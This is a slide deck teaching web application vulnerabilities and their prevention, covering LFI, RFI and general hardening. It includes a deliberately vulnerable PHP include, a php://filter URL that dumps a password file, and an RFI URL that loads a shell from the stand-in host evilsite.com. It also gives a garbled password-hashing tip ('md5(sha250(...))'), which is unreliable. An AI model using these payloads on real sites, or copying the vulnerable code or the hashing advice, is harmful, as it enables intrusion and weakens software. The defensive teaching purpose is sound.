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Vulnerabilities in web applications and their prevention

Vulnerabilities in web applications and their prevention. Serhii Hamotskyi, NTUU “KPI” shamotskyi@gmail.com @pchr8. Why it’s important. • Protecting a website well always costs less than dealing with a breach or data leak.

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Vulnerabilities in web applications and their prevention

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  1. Vulnerabilities in web applications and their prevention Serhii Hamotskyi, NTUU “KPI” shamotskyi@gmail.com @pchr8

  2. Why it’s important • • Protecting a website well always costs less than dealing with a breach or data leak. • • Consequences may include loss of reputation, clients, financial sanctions, identity theft

  3. Examples from the past few years • • Sony PlayStation Network – $171 million • • Citygroup – $2.7 million • • Stratfor – a global intelligence company – 200gb data leak, including highly confidential emails and credit card data • • Adobe Systems revealed that their corporate database was hacked and some 130 million user records were stolen (October 2013).

  4. Web app vulnerabilities • Most common: • • RFI/LFI – Remote/Local File inclusion (aka PHP-injection). • • XSS – Cross Site Scripting • • SQLi – SQL injection • Less known (but dangerous nonetheless): • • XSRF/CSRF – Cross Site Request Forgery • • Weak authorization • • A lot more

  5. Attack vectors not limited to web apps • • DOS (Denial of Service) – an attack which makes the system unavailable to its intended users. Can be caused either by too many requests or errors in the design of the application • • Social engineering – using influence psychology, manipulation, cheating to get the information needed.

  6. LFI – Local File Inclusion • • Pages with code similar to <?php $page = $_GET[‘page’]; include($page); ?> • • The filename is received from the address: • http://shmt.anapnea.net/lfitest/index.php?page=about.php • • Cleaner code, makes the website easier to maintain.

  7. LFI - Local File Inclusion • • Dangerous if the filename is not checked • • In the worst case scenario, any file from the website or even server can be read (depends on the OS and webserver config). • • Often LFI is used to read confidential/password files, config files, log files, files from other websites hosted on the same server, the source code of .PHP files • • Sometimes gives the ability to execute code on the server (log poisoning)

  8. LFI • • Include() includes a file in the code. If it's plaintext outputs it, if it's PHP-code – executes it and outputs the results • • The source of .PHP files can still be read via PHP-filters: • http://shmt.anapnea.net/lfitest/index.php?page=php://filter/convert.base64-encode/resource=passwords.php • (outputs the Base64-encoded source of passwords.php)

  9. RFI– Remote file inclusion • • Same code as with LFI • • External files can be included – usually containing PHP code that will be executed by include(); • http://shmt.anapnea.net/lfitest/index.php?page=http://evilsite.com/shell.txt • • Usually used to include shells – programs made to make further attacking easier

  10. Protecting from LFI • • Don't receive the parameters dinamically. • • If it's impossible, hard-code the possible values: • <?php $file=$_GET['page']; • $check = array('index.php', 'new.php', 'guestbook.php'); • if(in_array($file, $check)) { • include($file);} else {include('index.php');} ?> • • Check for invalid symbols or sanitize the parameters. If the latter – do it recursively. (Removing ../ once can be bypassed as ....//, for example.)

  11. General guidelines • • All data sent by the browser can be changed, cookies included, and shouldn't be trusted. Any client-side verification is uneffective because of this. • • Check ALL data received from the user. All data is dangerous until proven otherwise. • • Trust no one, even yourself: attacks like CRSF\XSRF and Clickjacking exploit the application's trust to request which appear initiated by itself.

  12. General guidelines • • Keep all libraries and programs updated. • • Set up Google alerts on vulnerabilities and exploits for the software/libraries you use • • Protect the system from all sides – there's no point in having a metal door, expensive lock and open windows. Don't give too much information, remember about no tech hacking, social engineering etc.

  13. General guidelines • • Design a good auth system. • • Hash the passwords. There are a lot of sites that keep md5 tables, but md5(sha250($pass.$salt)) will have to be bruteforced. • • Don't leave default accounts • • Use nontrivial passwords (not 123456, 8520456, asdfgh, qwerty, zxcvb etc), and different passwords everywhere. • • Know what is indexed by Google; don’t explicitly disallow confidential folders in robots.txt • • Don’t use easily guessable URI’s for admin panels: /admin/; /admin.php etc; • • Test you webapp with a vuln scanner, for example Nikto

  14. Thank you for your attention • Any questions?

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